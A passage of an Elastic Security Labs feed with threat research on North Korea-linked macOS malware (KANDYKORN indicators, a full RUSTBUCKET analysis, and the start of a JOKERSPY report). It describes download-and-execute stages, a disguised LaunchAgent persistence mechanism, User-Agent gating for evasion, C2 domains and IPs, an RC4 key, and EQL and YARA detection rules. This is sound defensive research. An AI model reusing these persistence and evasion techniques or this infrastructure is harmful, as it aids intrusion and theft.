<h3>YARA</h3>
<p>Elastic Security has created YARA rules to identify this activity. Below are YARA rules to identify the payloads:</p>
<ul>
<li><a href="https://github.com/elastic/protections-artifacts/blob/main/yara/rules/MacOS_Trojan_SugarLoader.yar">MacOS.Trojan.SUGARLOADER</a></li>
<li><a href="https://github.com/elastic/protections-artifacts/blob/main/yara/rules/MacOS_Trojan_HLoader.yar">MacOS.Trojan.HLOADER</a></li>
<li><a href="https://github.com/elastic/protections-artifacts/blob/main/yara/rules/MacOS_Trojan_KandyKorn.yar">MacOS.Trojan.KANDYKORN</a></li>
</ul>
<h2>Observations</h2>
<p>All observables are also available for <a href="https://github.com/elastic/labs-releases/tree/main/indicators/ref7001">download</a> in both ECS and STIX format.</p>
<p>The following observables were discussed in this research.</p>
<table>
<thead>
<tr>
<th>Observable</th>
<th>Type</th>
<th>Name</th>
<th>Reference</th>
</tr>
</thead>
<tbody>
<tr>
<td><code>3ea2ead8f3cec030906dcbffe3efd5c5d77d5d375d4a54cca03bfe8a6cb59940</code></td>
<td>SHA-256</td>
<td>.log, .sld</td>
<td>SUGARLOADER</td>
</tr>
<tr>
<td><code>2360a69e5fd7217e977123c81d3dbb60bf4763a9dae6949bc1900234f7762df1</code></td>
<td>SHA-256</td>
<td>Discord (fake)</td>
<td>HLOADER</td>
</tr>
<tr>
<td><code>927b3564c1cf884d2a05e1d7bd24362ce8563a1e9b85be776190ab7f8af192f6</code></td>
<td>SHA-256</td>
<td></td>
<td>KANDYKORN</td>
</tr>
<tr>
<td><code>http://tp-globa[.]xyz//OdhLca1mLUp/lZ5rZPxWsh/7yZKYQI43S/fP7savDX6c/bfC</code></td>
<td>url</td>
<td></td>
<td>FinderTools C2 URL</td>
</tr>
<tr>
<td><code>tp-globa[.]xyz</code></td>
<td>domain-name</td>
<td></td>
<td>FinderTools C2 domain</td>
</tr>
<tr>
<td><code>192.119.64[.]43</code></td>
<td>ipv4-addr</td>
<td>tp-globa IP address</td>
<td>FinderTools C2 IP</td>
</tr>
<tr>
<td><code>23.254.226[.]90</code></td>
<td>ipv4-addr</td>
<td></td>
<td>SUGARLOADER C2 IP</td>
</tr>
<tr>
<td><code>D9F936CE628C3E5D9B3695694D1CDE79E470E938064D98FBF4EF980A5558D1C90C7E650C2362A21B914ABD173ABA5C0E5837C47B89F74C5B23A7294CC1CFD11B</code></td>
<td>64 byte key</td>
<td>RC4 key</td>
<td>SUGARLOADER, KANDYKORN</td>
</tr>
</tbody>
</table>
<h2>References</h2>
<p>The following were referenced throughout the above research:</p>
<ul>
<li><a href="https://www.elastic.co/pt/security-labs/DPRK-strikes-using-a-new-variant-of-rustbucket">The DPRK strikes using a new variant of RUSTBUCKET — Elastic Security Labs</a></li>
<li><a href="https://x.com/tiresearch1/status/1708141542261809360">https://x.com/tiresearch1/status/1708141542261809360</a></li>
<li><a href="https://www.reddit.com/r/hacking/comments/15b4uti/comment/jtprebt/">https://www.reddit.com/r/hacking/comments/15b4uti/comment/jtprebt/</a></li>
<li><a href="https://www.reddit.com/r/Malware/comments/15b595e/looks_like_a_try_to_steel_some_data/">Looks like a try to steel some data : r/Malware</a></li>
<li><a href="https://www.reddit.com/r/pihole/comments/15d11do/malware_project_mimics_pihole/jtzmpqh/">https://www.reddit.com/r/pihole/comments/15d11do/malware_project_mimics_pihole/jtzmpqh/</a></li>
<li><a href="https://objective-see.org/blog/blog_0x51.html">Lazarus Group Goes 'Fileless'</a></li>
<li><a href="https://slyd0g.medium.com/understanding-and-defending-against-reflective-code-loading-on-macos-e2e83211e48f">Understanding and Defending Against Reflective Code Loading on macOS | by Justin Bui</a></li>
<li><a href="https://hackd.net/posts/macos-reflective-code-loading-analysis/">macOS reflective code loading analysis · hackd</a></li>
</ul>
]]></content:encoded>
            <category>security-labs</category>
            <enclosure url="https://www.elastic.co/pt/security-labs/assets/images/elastic-catches-dprk-passing-out-kandykorn/photo-edited-01@2x.jpg" length="0" type="image/jpg"/>
        </item>
        <item>
            <title><![CDATA[The DPRK strikes using a new variant of RUSTBUCKET]]></title>
            <link>https://www.elastic.co/pt/security-labs/DPRK-strikes-using-a-new-variant-of-rustbucket</link>
            <guid>DPRK-strikes-using-a-new-variant-of-rustbucket</guid>
            <pubDate>Fri, 14 Jul 2023 00:00:00 GMT</pubDate>
            <description><![CDATA[Watch out! We’ve recently discovered a variant of RUSTBUCKET. Read this article to understand the new capabilities we’ve observed, as well as how to identify it in your own network.]]></description>
            <content:encoded><![CDATA[<h2>Key takeaways</h2>
<ul>
<li>The RUSTBUCKET malware family is in an active development phase, adding built-in persistence and focusing on signature reduction.</li>
<li>REF9135 actors are continually shifting their infrastructure to evade detection and response.</li>
<li>The DPRK continues financially motivated attacks against cryptocurrency service providers.</li>
<li>If you are running Elastic Defend, you are protected from REF9135</li>
</ul>
<h2>Preamble</h2>
<p>The Elastic Security Labs team has detected a new variant of the RUSTBUCKET malware, a family that has been previously attributed to the BlueNorOff group by <a href="https://www.jamf.com/blog/bluenoroff-apt-targets-macos-rustbucket-malware/">Jamf Threat Labs</a> in April 2023.</p>
<p>This variant of RUSTBUCKET, a malware family that targets macOS systems, adds persistence capabilities not previously observed and, at the time of reporting, is undetected by VirusTotal signature engines. Elastic Defend behavioral and prebuilt detection rules provide protection and visibility for users. We have also released a signature to prevent this malware execution.</p>
<p>The research into REF9135 used host, binary, and network analysis to identify and attribute intrusions observed by this research team, and other intelligence groups, with high confidence to the Lazarus Group; a cybercrime and espionage organization operated by the Democratic People’s Republic of North Korea (DPRK).</p>
<p>This research will describe:</p>
<ul>
<li>REF9135’s use of RUSTBUCKET for sustained operations at a cryptocurrency payment services provider</li>
<li>Reversing of an undetected variant of RUSTBUCKET that adds a built-in persistence mechanism</li>
<li>How victimology, initial infection, malware, and network C2 intersections from first and third-party collection align with previous Lazarus Group reporting</li>
</ul>
<h2>RUSTBUCKET code analysis</h2>
<h3>Overview</h3>
<p>Our research has identified a persistence capability not previously seen in the RUSTBUCKET family of malware, leading us to believe that this family is under active development. Additionally, at the time of publication, this new variant has zero detections on VirusTotal and is leveraging a dynamic network infrastructure methodology for command and control.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/DPRK-strikes-using-a-new-variant-of-rustbucket/image1.jpg" alt="Execution flow of REF9135" /></p>
<h3>Stage 1</h3>
<p>During Stage 1, the process begins with the execution of an AppleScript utilizing the <strong>%2Fusr%2Fbin%2Fosascript</strong> command. This AppleScript is responsible for initiating the download of the Stage 2 binary from the C2 using cURL. This session includes the string <strong>pd</strong> in the body of the HTTP request and <strong>cur1-agent</strong> as the User-Agent string which saves the Stage 2 binary to <strong>%2Fusers%2Fshared%2F.pd,</strong> (<a href="https://www.virustotal.com/gui/file/7887638bcafd57e2896c7c16698e927ce92fd7d409aae698d33cdca3ce8d25b8">7887638bcafd57e2896c7c16698e927ce92fd7d409aae698d33cdca3ce8d25b8</a>).</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/DPRK-strikes-using-a-new-variant-of-rustbucket/image2.jpg" alt="Stage 1 command line" /></p>
<h3>Stage 2</h3>
<p>The Stage 2 binary ( <strong>.pd</strong> ) is compiled in Swift and operates based on command-line arguments. The binary expects a C2 URL to be provided as the first parameter when executed. Upon execution, it invokes the <strong>downAndExec</strong> function, which is responsible for preparing a POST HTTP request. To initiate this request, the binary sets the User-Agent string as <strong>mozilla%2F4.0 (compatible; msie 8.0; windows nt 5.1; trident%2F4.0)</strong> and includes the string <strong>pw</strong> in the body of the HTTP request.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/DPRK-strikes-using-a-new-variant-of-rustbucket/image12.jpg" alt="Setting the HTTP parameters before sending the request" /></p>
<p>During execution, the malware utilizes specific macOS APIs for various operations. It begins with <a href="https://developer.apple.com/documentation/foundation/nsfilemanager">NSFileManager's</a> <strong>temporaryDirectory</strong> function to obtain the current temporary folder, then generates a random UUID using <a href="https://developer.apple.com/documentation/foundation/nsuuid">NSUUID's</a> <strong>UUID.init</strong> method. Finally, the malware combines the temporary directory path with the generated UUID to create a unique file location and writes the payload to it.</p>
<p>Once the payload, representing Stage 3 of the attack is written to disk, the malware utilizes <a href="https://developer.apple.com/documentation/foundation/nstask">NSTask</a> to initiate its execution.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/DPRK-strikes-using-a-new-variant-of-rustbucket/image11.jpg" alt="Generating the Stage 3 file path" /></p>
<h3>Stage 3</h3>
<p>In Stage 3, the malware (<a href="https://www.virustotal.com/gui/file/9ca914b1cfa8c0ba021b9e00bda71f36cad132f27cf16bda6d937badee66c747">9ca914b1cfa8c0ba021b9e00bda71f36cad132f27cf16bda6d937badee66c747</a>) is a FAT macOS binary that supports both ARM and Intel architectures written in Rust. It requires a C2 URL to be supplied as a parameter.</p>
<p>The malware initiates its operations by dynamically generating a 16-byte random value at runtime. This value serves as a distinctive identifier for the specific instance of the active malware. Subsequently, the malware proceeds to gather comprehensive system information, including:</p>
<ul>
<li>Computer name</li>
<li>List of active processes</li>
<li>Current timestamp</li>
<li>Installation timestamp</li>
<li>System boot time</li>
<li>Status of all running processes within the system</li>
</ul>
<p>The malware establishes its initial connection to the C2 server by transmitting the gathered data via a POST request. The request is accompanied by a User-Agent string formatted as <strong>Mozilla%2F4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident%2F4.0)</strong>.</p>
<p>Upon receiving the request, the C2 server responds with a command ID, which serves as an instruction for the malware. The malware is designed to handle only two commands.</p>
<h4>Command ID 0x31</h4>
<p>This command directs the malware to self-terminate.</p>
<h4>Command ID 0x30</h4>
<p>This command enables the operator to upload malicious Mach-O binaries or shell scripts to the system and execute them. The payload is stored in a randomly generated temporary path and created within the current user TMP directory following the naming convention of <strong><code>$TMPDIR%2F.\&lt;8 random digits\&gt;</code></strong></p>
<p>Below is a summary of the command structure, indicating the constants, arguments, and payload components for easy comprehension.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/DPRK-strikes-using-a-new-variant-of-rustbucket/image5.jpg" alt="Command structure example" /></p>
<p>The malware proceeds by granting execution permissions to the uploaded file using the <strong>chmod</strong> API.</p>
<p>After executing the payload, the malware sends a status update to the server, notifying it of the completed execution, and then sleeps for 60 seconds. Following this delay, the malware loops to collect system information once again and remains in a waiting state, anticipating the arrival of the next command from the server</p>
<h3>The undetected version of RUSTBUCKET</h3>
<p>Using code similarities from the sample in our telemetry, we searched VirusTotal and identified an undetected variant of RUSTBUCKET.</p>
<p>As of the publication of this research, the <a href="https://www.virustotal.com/gui/file/de81e5246978775a45f3dbda43e2716aaa1b1c4399fe7d44f918fccecc4dd500">newly discovered version</a> of the malware has not been flagged by any antivirus engines on VirusTotal. A thorough analysis of the sample brought to light the addition of a new persistence capability and C2 infrastructure. The behavioral rules for Elastic Defend prevent, and Elastic’s prebuilt detection rules identify, this activity. We have also released a signature that will prevent this new variant of RUSTBUCKET.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/DPRK-strikes-using-a-new-variant-of-rustbucket/image7.png" alt="VirusTotal results at the time of publication" /></p>
<h3>Persistence</h3>
<p>A predominant method utilized by malware to achieve persistence on macOS is through the utilization of LaunchAgents. In macOS, users have individual LaunchAgents folders within their Library directory, enabling them to define code that executes upon each user login. Additionally, a system-level LaunchAgents folder exists, capable of executing code for all users during the login process. Elastic Defend monitors for the creation of LaunchAgents and LaunchDaemons containing malicious or suspicious values as a way to detect these persistence techniques.</p>
<p>In the case of this updated RUSTBUCKET sample, it establishes its own persistence by adding a plist file at the path <strong><code>%2FUsers%2F\&lt;user\&gt;%2FLibrary%2FLaunchAgents%2Fcom.apple.systemupdate.plist</code></strong> , and it copies the malware’s binary to the following path <strong><code>%2FUsers%2F\&lt;user\&gt;%2FLibrary%2FMetadata%2FSystem Update</code></strong>.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/DPRK-strikes-using-a-new-variant-of-rustbucket/image9.jpg" alt="File content of plist used for persistence" /></p>
<p>There are several elements of the plist file, using standard true%2Ffalse or string values:</p>
<ul>
<li><strong>Label:</strong> The key &quot;Label&quot; specifies the name of the LaunchAgent, which in this case is <strong>com.apple.systemupdate</strong>. This expects a string value.</li>
<li><strong>RunAtLoad:</strong> This indicates that the LaunchAgent should execute its associated code immediately upon loading, specifically during system startup or user login. This expects a true%2Ffalse value.</li>
<li><strong>LaunchOnlyOnce:</strong> This prevents the malware from being executed multiple times concurrently and expects a true%2Ffalse value.</li>
<li><strong>KeepAlive:</strong> This key instructs the system to keep the LaunchAgent running and relaunch it if it terminates unexpectedly. This expects a true%2Ffalse value.</li>
<li><strong>ProgramArguments:</strong> The &quot;ProgramArguments&quot; key specifies an array of strings that define the program or script to be executed by the LaunchAgent. This expects a string value and in this case, the LaunchAgent executes the file located at <strong>&quot;<code>%2FUsers%2F\&lt;user\&gt;%2FLibrary%2FMetadata%2FSystem Update</code>&quot;</strong> and provides the C2 URL <strong>&quot;https:%2F%2Fwebhostwatto.work[.]gd&quot;</strong> as an argument to the malware.</li>
</ul>
<h2>RUSTBUCKET and REF9135 analysis</h2>
<h3>Overview</h3>
<p>The RUSTBUCKET campaign has previously been associated with BlueNorOff by Jamf and Sekoia.io. BlueNorOff is believed to be operating at the behest of the DPRK for the purposes of financial gain in order to ease the strain of global sanctions. BlueNorOff is a sub-unit of the overarching DPRK offensive cyber attack organization, the <a href="https://attack.mitre.org/groups/G0032/">Lazarus Group</a>. The <a href="https://www.nytimes.com/interactive/2018/05/03/magazine/money-issue-bangladesh-billion-dollar-bank-heist.html">2016 Bangladesh Bank robbery</a> stands out as BlueNorOff's most notorious attack, wherein their objective was to illicitly transfer over $850M from the Federal Reserve Bank of New York account owned by Bangladesh Bank, the central bank of Bangladesh, by exploiting the SWIFT network.</p>
<blockquote>
<p>As an analyst note, if you’re interested in a tremendously verbose and detailed walkthrough of this intrusion, Geoff White and Jean Lee released a 19-part podcast through the <a href="https://www.bbc.co.uk/programmes/w13xtvg9/episodes/downloads">BBC World Service</a> that is an unbelievable account of this event.</p>
</blockquote>
<h3>Networking infrastructure</h3>
<p>The persistence mechanism identified previously calls out to <strong>https:%2F%2Fwebhostwatto.work[.]gd</strong>. Third-party research into this URL indicates that 12%2F89 <a href="https://www.virustotal.com/gui/url/e299c9f2233f025256ab29d53d070a8f94d1c2c1a2b6f3a7c13e16df185e9e32/detection">VirusTotal</a> vendors have identified it as malicious, and it exists within a community collection documenting the <a href="https://www.cyfirma.com/outofband/tracking_dangerouspassword_campaign_by_lazarusgroup/">DangerousPassword phishing campaign</a>.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/DPRK-strikes-using-a-new-variant-of-rustbucket/image6.png" alt="VT detections and community collections for https://webhostwatto.work[.]gd" /></p>
<p>VirusTotal <a href="https://www.virustotal.com/gui/domain/webhostwatto.work.gd/detection">last saw</a> the domain pointing to <strong>104.168.167[.]88</strong>. Which has been specifically identified in a Sekoia.io <a href="https://blog.sekoia.io/bluenoroffs-rustbucket-campaign/">blog</a> in May as part of BlueNorOff’s RUSTBUCKET campaign.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/DPRK-strikes-using-a-new-variant-of-rustbucket/image4.jpg" alt="Updated RUSTBUCKET IP (104.168.167[.]88) previously identified by Sekoia.io" /></p>
<p>Further connecting <strong>webhostwatto.work[.]gd</strong> to DangerousPassword, BlueNorOff, and the DPRK campaigns, this domain shares a TLS leaf certificate fingerprint hash ( <strong>1031871a8bb920033af87078e4a418ebd30a5d06152cd3c2c257aecdf8203ce6</strong> ) with another domain, <strong>companydeck[.]online</strong>.</p>
<p><strong>companydesk[.]online</strong> is included in the <a href="https://www.virustotal.com/graph/g6e8b200cfd774d129558fa5715c83d1bc81099f5cd7643719580be988ec01b8f">VirusTotal Graph</a> (VirusTotal account required) for <a href="https://attack.mitre.org/groups/G0082/">APT38</a>, which is also known as DangerousPassword, BlueNorOff, etc.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/DPRK-strikes-using-a-new-variant-of-rustbucket/image3.jpg" alt="Selection from the VirusTotal Graph for DangerousPassword" /></p>
<p>DangerousPassword and BlueNorOff are campaigns that have both been previously associated with the DPRK.</p>
<p>Using the IP address (<strong>64.44.141[.]15</strong>) for our initial C2 domain, <strong>crypto.hondchain[.]com</strong>, we uncovered 3 additional C2 domains:</p>
<ul>
<li><strong>starbucls[.]xyz</strong></li>
<li><strong>jaicvc[.]com</strong></li>
<li><strong>docsend.linkpc[.]net</strong> (dynamic DNS domain)</li>
</ul>
<p>While there are only 5 hosts (4 total domains) registered to the C2 IP address (indicating that this was not a high-capacity hosting server), we looked for additional relationships to increase the association confidence between the domains. To do this, we replicated the same fingerprinting process previously used with <strong>webhostwatto.work[.]gd</strong>. The TLS fingerprint hash for <strong>starbucls[.]xyz</strong> ( <strong>788261d948177acfcfeb1f839053c8ee9f325bd6fb3f07637a7465acdbbef76a</strong> ) is the same fingerprint as <strong>jaicvc[.]com</strong>.</p>
<p>With these two domains having the same TLS fingerprint hash and the fact that they were both registered to the IP address, we were able to cluster these atomic entities, and their siblings, together with high confidence:</p>
<ul>
<li>All hosts were registered to <strong>64.44.141[.]15</strong></li>
<li><strong>starbucls[.]xyz</strong> and <strong>crypto.hondchain[.]com</strong> were observed being used by our malware samples</li>
<li><strong>starbucls[.]xyz</strong> and <strong>jaicvc[.]com</strong> shared a TLS fingerprint</li>
</ul>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/DPRK-strikes-using-a-new-variant-of-rustbucket/image8.jpg" alt="Domains registered to REF9135 C2 IP address" /></p>
<p>Looking at the “First” column (when they were first observed through 3rd party passive DNS), these hosts are being created rapidly, likely as an attempt to stay ahead of detection efforts by research teams. We are associating the following domains and IP address to the REF9135 campaign with high confidence:</p>
<ul>
<li><strong>starbucls[.]xyz</strong></li>
<li><strong>jaicvc[.]com</strong></li>
<li><strong>crypto.hondchain[.]com</strong></li>
<li><strong>64.44.141[.]15</strong></li>
</ul>
<p>We have not observed <strong>docsend.linkpc[.]net</strong> being used with the RUSTBUCKET samples we analyzed. However, its shared IP registration and host siblings lead us to state with a moderate degree of confidence that it is directly related to RUSTBUCKET and REF9135 as C2 infrastructure; and a high degree of confidence that it is malicious (shared infrastructure as part of other campaigns).</p>
<h3>Defense evasion</h3>
<p>The campaign owners used techniques to hinder the collection of Stage 2 and Stage 3 binaries by analysts who may have overlooked User-Agent strings in their investigations, as well as internet scanners and sandboxes focused on collecting malicious binaries.</p>
<p>As outlined in the Stage 1 section, there is a specific User-Agent string ( <strong>cur1-agent</strong> ) that is expected when downloading the Stage 2 binary, if you do not use the expected User-Agent, you will be provided with a 405 HTTP response status code (Method Not Allowed).</p>
<p>It also appears that the campaign owners are monitoring their payload staging infrastructure. Using the expected User-Agent for the Stage 3 binary download (<strong>mozilla%2F4.0 (compatible; msie 8.0; windows nt 5.1; trident%2F4.0)</strong>), we were able to collect the Stage 3 binary.</p>
<p>Finally, we observed REF9135 changing its C2 domain once we began to collect the Stage 2 and 3 binaries for analysis. When making subsequent requests to the original server (<strong>crypto.hondchain[.]com</strong>), we received a 404 HTTP response status code (Not Found) and shortly after, a new C2 server was identified (<strong>starbucls[.]xyz</strong>). This could be because we caught the binary before it was rolled off as part of a normal operational security practice (don’t leave your valuable payload attached to the Internet to be discovered) or because they observed a connection to their infrastructure that was not from their targeted network.</p>
<p>Of note, while the User-Agent strings above could initially appear to be the default cURL or Firefox User-Agents strings to an analyst, they are not. The default cURL User-Agent string is <strong>curl%2Fversion.number</strong> whereas the malware uses <strong>cur1-agent</strong> (using a <strong>1</strong> in place of the <strong>l</strong> in “curl”). Additionally, the “Firefox” string is all lowercase (<strong>mozilla%2F4.0 (compatible; msie 8.0; windows nt 5.1; trident%2F4.0)</strong>), unlike actual <a href="https://www.useragentstring.com/pages/Firefox/">Firefox User-Agent strings</a> which are camel-cased.</p>
<p>This requirement to download payloads allows the attackers to restrict distribution to only requestors who know the correct UA string. This provides strong protection against both scanning services and researchers, who would otherwise have early access to hosted malicious files for analysis and detection engineering.</p>
<h3>Victimology</h3>
<p>The REF9135 victim is a venture-backed cryptocurrency company providing services to businesses such as payroll and business-to-business transactions with a headquarters in the United States. This victim fits the mold from prior reporting on BlueNorOff targeting organizations with access to large amounts of cryptocurrency for theft.</p>
<h2>Observed adversary tactics and techniques</h2>
<p>Elastic uses the MITRE ATT&amp;CK framework to document common tactics, techniques, and procedures that advanced persistent threats use against enterprise networks.</p>
<h3>Tactics</h3>
<p>Tactics represent the why of a technique or sub-technique. It is the adversary’s tactical goal: the reason for performing an action.</p>
<ul>
<li><a href="https://attack.mitre.org/tactics/TA0001">Initial access</a></li>
<li><a href="https://attack.mitre.org/tactics/TA0002">Execution</a></li>
<li><a href="https://attack.mitre.org/tactics/TA0005">Defense evasion</a></li>
<li><a href="https://attack.mitre.org/tactics/TA0007">Discovery</a></li>
<li><a href="https://attack.mitre.org/tactics/TA0008/">Lateral movement</a></li>
<li><a href="https://attack.mitre.org/tactics/TA0011">Command and control</a></li>
</ul>
<h2>Diamond model</h2>
<p>Elastic Security utilizes the <a href="https://www.activeresponse.org/wp-content/uploads/2013/07/diamond.pdf">Diamond Model</a> to describe high-level relationships between adversaries, capabilities, infrastructure, and victims of intrusions. While the Diamond Model is most commonly used with single intrusions, and leveraging Activity Threading (section 8) as a way to create relationships between incidents, an adversary-centered (section 7.1.4) approach allows for a, although cluttered, single diamond.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/DPRK-strikes-using-a-new-variant-of-rustbucket/image13.jpg" alt="REF9135 Diamond Model" /></p>
<h2>Detection logic</h2>
<h3>Prevention</h3>
<ul>
<li><a href="https://github.com/elastic/protections-artifacts/blob/main/yara/rules/MacOS_Trojan_RustBucket.yar">MacOS.Trojan.RustBucket</a></li>
<li><a href="https://github.com/elastic/protections-artifacts/blob/main/behavior/rules/persistence_persistence_via_suspicious_launch_agent_or_launch_daemon.toml">Persistence via Suspicious Launch Agent or Launch Daemon</a></li>
</ul>
<h3>Hunting queries</h3>
<p>The events for EQL are provided with the Elastic Agent using the Elastic Defend integration. Hunting queries could return high signals or false positives. These queries are used to identify potentially suspicious behavior, but an investigation is required to validate the findings.</p>
<h4>EQL queries</h4>
<p>Using the Timeline section of the Security Solution in Kibana under the “Correlation” tab, you can use the below EQL queries to hunt for behaviors observed in REF9135.</p>
<p><strong>Suspicious Curl File Download via Osascript</strong></p>
<pre><code>process where process.parent.name : &quot;osascript&quot; and process.name : &quot;curl&quot; and process.args : &quot;-o&quot;
</code></pre>
<p><strong>Suspicious URL as argument to Self-Signed Binary</strong></p>
<pre><code>process where event.type == &quot;start&quot; and event.action == &quot;exec&quot; and 
 process.code_signature.trusted == false and 
 process.code_signature.signing_id regex~ &quot;&quot;&quot;[A-Za-z0-9\_\s]{2,}\-[a-z0-9]{40}&quot;&quot;&quot; and 
 process.args : &quot;http*&quot; and process.args_count &lt;= 3
</code></pre>
<h4>YARA</h4>
<p>Elastic Security has created YARA rules to identify this activity. Below are YARA rules to identify the RUSTBUCKET malware:</p>
<pre><code> rule MacOS_Trojan_RustBucket {
    meta:
        author = &quot;Elastic Security&quot;
        creation_date = &quot;2023-06-26&quot;
        last_modified = &quot;2023-06-26&quot;
        license = &quot;Elastic License v2&quot;
        os = &quot;MacOS&quot;
        arch = &quot;x86&quot;
        category_type = &quot;Trojan&quot;
        family = &quot;RustBucket&quot;
        threat_name = &quot;MacOS.Trojan.RustBucket&quot;
        reference_sample = &quot;9ca914b1cfa8c0ba021b9e00bda71f36cad132f27cf16bda6d937badee66c747&quot;
        severity = 100

    strings:
        $user_agent = &quot;User-AgentMozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0)&quot;
        $install_log = &quot;/var/log/install.log&quot;
        $timestamp = &quot;%Y-%m-%d %H:%M:%S&quot;
    condition:
        all of them
}
</code></pre>
<h2>References</h2>
<p>The following were referenced throughout the above research:</p>
<ul>
<li><a href="https://www.jamf.com/blog/bluenoroff-apt-targets-macos-rustbucket-malware/">https:%2F%2Fwww.jamf.com%2Fblog%2FBlueNorOff-apt-targets-macos-rustbucket-malware%2F</a></li>
<li><a href="https://blog.sekoia.io/bluenoroffs-rustbucket-campaign/">https:%2F%2Fblog.sekoia.io%2FBlueNorOffs-rustbucket-campaign%2F</a></li>
</ul>
<h2>Observations</h2>
<p>All observables are also available for <a href="https://github.com/elastic/labs-releases/tree/main/indicators/rustbucket">download</a> in both ECS and STIX format in a combined zip bundle.</p>
<p>The following observables were discussed in this research.</p>
<table>
<thead>
<tr>
<th>Observable</th>
<th>Type</th>
<th>Name</th>
<th>Reference</th>
</tr>
</thead>
<tbody>
<tr>
<td>webhostwatto.work[.]gd</td>
<td>Domain</td>
<td>N%2FA</td>
<td>REF9135 C2 domain</td>
</tr>
<tr>
<td>crypto.hondchain[.]com</td>
<td>Domain</td>
<td>N%2FA</td>
<td>REF9135 C2 domain</td>
</tr>
<tr>
<td>starbucls[.]xyz</td>
<td>Domain</td>
<td>N%2FA</td>
<td>REF9135 C2 domain</td>
</tr>
<tr>
<td>jaicvc[.]com</td>
<td>Domain</td>
<td>N%2FA</td>
<td>REF9135 C2 domain</td>
</tr>
<tr>
<td>docsend.linkpc[.]net</td>
<td>Domain</td>
<td>N%2FA</td>
<td>REF9135 C2 domain</td>
</tr>
<tr>
<td>companydeck[.]online</td>
<td>Domain</td>
<td>N%2FA</td>
<td>Associated by REF9135 TLS fingerprint hash</td>
</tr>
<tr>
<td>104.168.167[.]88</td>
<td>ipv4</td>
<td>N%2FA</td>
<td>REF9135 C2 IP address</td>
</tr>
<tr>
<td>64.44.141[.]15</td>
<td>ipv4</td>
<td>N%2FA</td>
<td>REF9135 C2 IP address</td>
</tr>
<tr>
<td>788261d948177acfcfeb1f839053c8ee9f325bd6fb3f07637a7465acdbbef76a</td>
<td>x509-certificate</td>
<td>jaicvc[.]com</td>
<td>REF9135 C2 TLS fingerprint hash</td>
</tr>
<tr>
<td>1031871a8bb920033af87078e4a418ebd30a5d06152cd3c2c257aecdf8203ce6</td>
<td>x509-certificate</td>
<td>webhostwatto.work[.]gd</td>
<td>REF9135 C2 TLS fingerprint hash</td>
</tr>
<tr>
<td>9ca914b1cfa8c0ba021b9e00bda71f36cad132f27cf16bda6d937badee66c747</td>
<td>SHA-256</td>
<td>N%2FA</td>
<td>MacOS.Trojan.RustBucket</td>
</tr>
<tr>
<td>7fccc871c889a4f4c13a977fdd5f062d6de23c3ffd27e72661c986fae6370387</td>
<td>SHA-256</td>
<td>N%2FA</td>
<td>MacOS.Trojan.RustBucket</td>
</tr>
<tr>
<td>ec8f97d5595d92ec678ffbf5ae1f60ce90e620088927f751c76935c46aa7dc41</td>
<td>SHA-256</td>
<td>N%2FA</td>
<td>MacOS.Trojan.RustBucket</td>
</tr>
<tr>
<td>de81e5246978775a45f3dbda43e2716aaa1b1c4399fe7d44f918fccecc4dd500</td>
<td>SHA-256</td>
<td>ErrorCheck</td>
<td>MacOS.Trojan.RustBucket</td>
</tr>
<tr>
<td>4f49514ab1794177a61c50c63b93b903c46f9b914c32ebe9c96aa3cbc1f99b16</td>
<td>SHA-256</td>
<td>N%2FA</td>
<td>MacOS.Trojan.RustBucket</td>
</tr>
<tr>
<td>fe8c0e881593cc3dfa7a66e314b12b322053c67cbc9b606d5a2c0a12f097ef69</td>
<td>SHA-256</td>
<td>N%2FA</td>
<td>MacOS.Trojan.RustBucket</td>
</tr>
<tr>
<td>7887638bcafd57e2896c7c16698e927ce92fd7d409aae698d33cdca3ce8d25b8</td>
<td>SHA-256</td>
<td>%2FUsers%2FShared%2F.pd</td>
<td>Stage 2</td>
</tr>
</tbody>
</table>
]]></content:encoded>
            <category>security-labs</category>
            <enclosure url="https://www.elastic.co/pt/security-labs/assets/images/DPRK-strikes-using-a-new-variant-of-rustbucket/photo-edited-12@2x.jpg" length="0" type="image/jpg"/>
        </item>
        <item>
            <title><![CDATA[Initial research exposing JOKERSPY]]></title>
            <link>https://www.elastic.co/pt/security-labs/inital-research-of-jokerspy</link>
            <guid>inital-research-of-jokerspy</guid>
            <pubDate>Wed, 21 Jun 2023 00:00:00 GMT</pubDate>
            <description><![CDATA[Explore JOKERSPY, a recently discovered campaign that targets financial institutions with Python backdoors. This article covers reconnaissance, attack patterns, and methods of identifying JOKERSPY in your network.]]></description>
            <content:encoded><![CDATA[<h2>Key takeaways</h2>
<ul>
<li>This is an initial notification of an active intrusion with additional details to follow</li>
<li>REF9134 leverages custom and open source tools for reconnaissance and command and control</li>
<li>Targets of this activity include a cryptocurrency exchange in Japan</li>
</ul>
<h2>Preamble</h2>
<p>This research article explores a recently discovered intrusion we’re calling REF9134, which involves using the <strong>sh.py</strong> backdoor to deploy the macOS Swiftbelt enumeration tool. <strong>sh.py</strong> and <strong>xcc</strong> have recently been dubbed <a href="https://www.bitdefender.com/blog/labs/fragments-of-cross-platform-backdoor-hint-at-larger-mac-os-attack/">JOKERSPY</a> by Bitdefender.</p>
<p>Specifically, this research covers:</p>
<ul>
<li>How Elastic Security Labs identified reconnaissance from the adversary group</li>
<li>The adversary’s steps to evade detection using <strong>xcc</strong> , installing the <strong>sh.py</strong> backdoor, and deploying enumeration tools</li>
</ul>
<p>A deeper look at this attack may be published at a later date.</p>
<h2>Overview</h2>
<p>In late May of 2023, an adversary with existing access in a prominent Japanese cryptocurrency exchange tripped one of our diagnostic endpoint alerts that detected the execution of a binary ( <strong>xcc</strong> ). <strong>xcc</strong> is not trusted by Apple, and the adversary self-signed using the native macOS tool <strong>codesign</strong>. While this detection in itself was not necessarily innocuous, the industry vertical and additional activity we observed following these initial alerts caught our eye and caused us to pay closer attention.</p>
